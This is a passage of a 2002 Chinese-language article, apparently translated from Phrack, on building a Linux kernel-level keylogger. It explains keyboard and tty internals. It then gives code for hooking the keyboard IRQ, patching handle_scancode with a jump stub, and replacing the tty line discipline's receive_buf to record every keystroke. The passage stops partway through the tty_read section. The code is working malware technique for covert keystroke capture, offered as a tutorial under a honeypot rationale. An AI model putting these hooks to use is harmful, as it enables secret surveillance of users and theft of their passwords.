|=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ rd ]=-------------------=|
|=------------------------=[ June 19th, 2002 ]=--------------------------=|
|=------------------=[ 整理:e4gle from whitecell.org]=-------------------=|
|=------------------------=[ Aug 12th, 2002 ]=--------------------------=|
--[ Contents
1 - 介绍
2 - linux的keyboard驱动是如何工作的
3 - 基于内核的键盘纪录的原理
3.1 - 中断句柄
3.2 - 函数劫持
3.2.1 - 劫持handle_scancode
3.2.2 - 劫持put_queue
3.2.3 - 劫持receive_buf
3.2.4 - 劫持tty_read
3.2.5 - 劫持sys_read/sys_write
4 - vlogger
4.1 - 工作原理
4.2 - 功能及特点
4.3 - 如何使用
5 - 感谢
6 - 参考资料
7 - Keylogger源代码
--[ 1 - 介绍
本文分成两个部分。第一部分给出了linux键盘驱动的工作原理,并且讨论了建立一个基于
内核的键盘纪录器的方法。这部分内容对那些想写一个基于内核的键盘纪录器,或者写一个
自己键盘驱动的朋友会有帮助。
第二部分详细描述了vlogger的每个细节,vlogger是一个强大的基于内核的linux键盘纪录器,
以及如何来使用它。这向技术可以运用在蜜罐系统中,也可以做成一些很有意思的hacker game,
主要用来分析和采集hacker的攻击手法。我们都知道,一些大家熟知的键盘纪录器,如iob,
uberkey,unixkeylogger等,它们是基于用户层的。这里介绍的是基于内核层的键盘纪录器。
最早期的基于内核的键盘纪录器是linspy,它发表在phrack杂志第50期。而现代的kkeylogger(
后面我们将用kkeylogger来表示基于内核的键盘纪录器)广泛采用的手法是中断sys_read或者
sys_write系统调用来对用户的击键进行记录。
显然,这种方法是很不稳定的并且会明显的降低系统的速度,因为我们中断的恰恰是系统使用最
频繁的两个系统调用sys_read,sys_write;sys_read在每个进程需要读写设备的时候都会用到。
在vlogger里,我用了一个更好的方法,就是劫持tty buffer进程函数,下面会介绍到。
我假定读者熟悉linux的可加载模块的原理和运作过程,如果不熟悉,推荐大家首先阅读我以前写
过的linux kernel simple hacking,或者linux tty hijack,(在http://e4gle.org有下载),
参阅《linux驱动程序设计》来获得相关的理论基础知识。
--[ 2 - linux键盘驱动的工作原理
首先让我们通过以下的结构图来了解一下用户从终端的击键是如何工作的:
_____________ _________ _________
/ \ put_queue| |receive_buf| |tty_read
/handle_scancode\-------->|tty_queue|---------->|tty_ldisc|------->
\ / | | |buffer |
\_____________/ |_________| |_________|
_________ ____________
| |sys_read| |
--->|/dev/ttyX|------->|user process|
| | | |
|_________| |____________|
Figure 1
首先,当你输入一个键盘值的时候,键盘将会发送相应的scancodes给键盘驱动。一个独立的
击键可以产生一个六个scancodes的队列。
键盘驱动中的handle_scancode()函数解析scancodes流并通过kdb_translate()函数里的
转换表(translation-table)将击键事件和键的释放事件(key release events)转换成连
续的keycode。
比如,'a'的keycode是30。击键'a'的时候便会产生keycode 30。释放a键的时候会产生
keycode 158(128+30)。
然后,这些keycode通过对keymap的查询被转换成相应key符号。这步是一个相当
复杂的过程。
以上操作之后,获得的字符被送入raw tty队列--tty_flip_buffer。
receive_buf()函数周期性的从tty_flip_buffer中获得字符,然后把这些字符送入
tty read队列。
当用户进程需要得到用户的输入的时候,它会在进程的标准输入(stdin)调用read()函数。
sys_read()函数调用定义在相应的tty设备(如/dev/tty0)的file_operations结构
中指向tty_read的read()函数来读取字符并且返回给用户进程。
/*e4gle add
file_operations是文件操作结构,定义了文件操作行为的成员,结构如下,很容易理解:
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char *, size_t, loff_t *);<----这是本文提到的read函数
ssize_t (*write) (struct file *, const char *, size_t, loff_t *);
int (*readdir) (struct file *, void *, filldir_t);
unsigned int (*poll) (struct file *, struct poll_table_struct *);
int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, struct dentry *, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*readv) (struct file *, const struct iovec *, unsigned long, loff_t *);
ssize_t (*writev) (struct file *, const struct iovec *, unsigned long, loff_t *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
};
我们直到unix系统中设备也是文件,所以tty设备我们也可以进行文件操作。
*/
键盘驱动器可以有如下4种模式:
- scancode(RAW模式):应用程序取得输入的scancode。这种模式通常
用于应用程序实现自己的键盘驱动器,比如X11程序。
- keycode(MEDIUMRAW模式):应用程序取得key的击键和释放行为(通过
keycode来鉴别这两种行为)信息。
- ASCII(XLATE模式):应用程序取得keymap定义的字符,该字符是
8位编码的。
- Unicode(UNICODE模式):此模式唯一和ASCII模式不同之处就是UNICODE模式
允许用户将自己的10进制值编写成UTF8的unicode字符,如十进制的数可以编写成
Ascii_0到Ascii_9,或者用户16进制的值可以用Hex_0到Hex_9来代表。一个keymap
可以产生出一系列UTF8的序列。
以上这些驱动器的工作模式决定了应用程序所取得的键盘输入的数据类型。大家如果需要详细了解scancode,
keycode和keymaps的相关信息,参看read[3]。
--[ 3 - 基于内核的键盘纪录器的实现步骤
我们论述两种实现方法,一个是书写我们自己的键盘中断句柄,另一个是劫持输入进程函数.
----[ 3.1 - 中断句柄
要纪录击键信息,我们就要利用我们自己的键盘中断。在Intel体系下,控制键盘的IRQ值是1。
当接受到一个键盘中断时,我们的键盘中断器会读取scancode和键盘的状态。读写键盘事件
都是通过0x60端口(键盘数据注册器)和0x64(键盘状态注册器)来实现的。
/* 以下代码都是intel格式 */
#define KEYBOARD_IRQ 1
#define KBD_STATUS_REG 0x64
#define KBD_CNTL_REG 0x64
#define KBD_DATA_REG 0x60
#define kbd_read_input() inb(KBD_DATA_REG)
#define kbd_read_status() inb(KBD_STATUS_REG)
#define kbd_write_output(val) outb(val, KBD_DATA_REG)
#define kbd_write_command(val) outb(val, KBD_CNTL_REG)
/* 注册我们的IRQ句柄*/
request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);
在my_keyboard_irq_handler()函数中定义如下:
scancode = kbd_read_input();
key_status = kbd_read_status();
log_scancode(scancode);
这种方法不方便跨平台操作。而且很容易crash系统,所以必须小心操作你的终端句柄。
----[ 3.2 - 函数劫持
在第一种思路的基础上,我们还可以通过劫持handle_scancode(),put_queue(),receive_buf(),
tty_read()或者sys_read()等函数来实现我们自己的键盘纪录器。注意,我们不能劫持
tty_insert_flip_char()函数,因为它是一个内联函数。
------[ 3.2.1 - handle_scancode函数
它是键盘驱动程序中的一个入口函数(有兴趣可以看内核代码keynoard.c)。
# /usr/src/linux/drives/char/keyboard.c
void handle_scancode(unsigned char scancode, int down);
我们可以这样,通过替换原始的handle_scancode()函数来实现纪录所有的scancode。这就我们
在lkm后门中劫持系统调用是一个道理,保存原来的,把新的注册进去,实现我们要的功能,再调用
回原来的,就这么简单。就是一个内核函数劫持技术。
/* below is a code snippet written by Plasmoid */
static struct semaphore hs_sem, log_sem;
static int logging=1;
#define CODESIZE 7
static char hs_code[CODESIZE];
static char hs_jump[CODESIZE] =
"\xb8\x00\x00\x00\x00" /* movl $0,%eax */
"\xff\xe0" /* jmp *%eax */
;
void (*handle_scancode) (unsigned char, int) =
(void (*)(unsigned char, int)) HS_ADDRESS;
void _handle_scancode(unsigned char scancode, int keydown)
{
if (logging && keydown)
log_scancode(scancode, LOGFILE);
/*恢复原始handle_scancode函数的首几个字节代码。调用恢复后的原始函数并且
*再次恢复跳转代码。
*/
down(&hs_sem);
memcpy(handle_scancode, hs_code, CODESIZE);
handle_scancode(scancode, keydown);
memcpy(handle_scancode, hs_jump, CODESIZE);
up(&hs_sem);
}
HS_ADDRESS这个地址在执行Makefile文件的时候定义:
HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))
其实就是handle_scancode在ksyms导出的地址。
类似3.1节中提到的方法,这种方法对在X和终端下纪录键盘击键也很有效果,和是否调用
tty无关。这样你就可以纪录下键盘上的正确的击键行为了(包括一些特殊的key,如ctrl,alt,
shift,print screen等等)。但是这种方法也是不能跨平台操作,毕竟是靠lkm实现的。同样
它也不能纪录远程会话的击键并且也很难构成相当复杂的高级纪录器。
------[ 3.2.2 - put_queue函数
handle_scancode()函数会调用put_queue函数,用来将字符放入tty_queue。
/*e4gle add
put_queue函数在内核中定义如下:
void put_queue(int ch)
{
wake_up(&keypress_wait);
if (tty) {
tty_insert_flip_char(tty, ch, 0);
con_schedule_flip(tty);
}
}
*/
# /usr/src/linux/drives/char/keyboard.c
void put_queue(int ch);
劫持这个函数,我们可以利用和上面劫持handle_scancode函数同样的方法。
------[ 3.2.3 - receive_buf函数
底层tty驱动调用receive_buf()这个函数用来发送硬件设备接收处理的字符。
# /usr/src/linux/drivers/char/n_tty.c */
static void n_tty_receive_buf(struct tty_struct *tty, const
unsigned char *cp, char *fp, int count)
参数cp是一个指向设备接收的输入字符的buffer的指针。参数fp是一个指向一个标记字节指针的指针。
让我们深入的看一看tty结构
# /usr/include/linux/tty.h
struct tty_struct {
int magic;
struct tty_driver driver;
struct tty_ldisc ldisc;
struct termios *termios, *termios_locked;
...
}
# /usr/include/linux/tty_ldisc.h
struct tty_ldisc {
int magic;
char *name;
...
void (*receive_buf)(struct tty_struct *,
const unsigned char *cp, char *fp, int count);
int (*receive_room)(struct tty_struct *);
void (*write_wakeup)(struct tty_struct *);
};
要劫持这个函数,我们可以先保存原始的tty receive_buf()函数,然后重置ldisc.receive_buf到
我们的new_receive_buf()函数来记录用户的输入。
举个例子:我们要记录在tty0设备上的输入。
int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
struct tty_struct *tty = file->private_data;
old_receive_buf = tty->ldisc.receive_buf; //保存原始的receive_buf()函数
tty->ldisc.receive_buf = new_receive_buf; //替换成新的new_receive_buf函数
//新的new_receive_buf函数
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
logging(tty, cp, count); //纪录用户击键
/* 调用回原来的receive_buf */
(*old_receive_buf)(tty, cp, fp, count);
}
/*e4gle add
其实这里新的new_receive_buf函数只是做了个包裹,技术上实现大同小异,包括劫持系统调用
内核函数等,技术上归根都比较简单,难点在于如何找到切入点,即劫持哪个函数可以达到目的,或者
效率更高更稳定等,这就需要深入了解这些内核函数的实现功能。
*/
------[ 3.2.4 - tty_read函数
当一个进程需要通过sys_read()函数来读取一个tty终端的输入字符的时候,tty_read函数就会被调用。
# /usr/src/linux/drives/char/tty_io.c
static ssize_t tty_read(struct file * file, char * buf, size_t count,
loff_t *ppos)
static struct file_operations tty_fops = {
llseek: tty_lseek,
read: tty_read,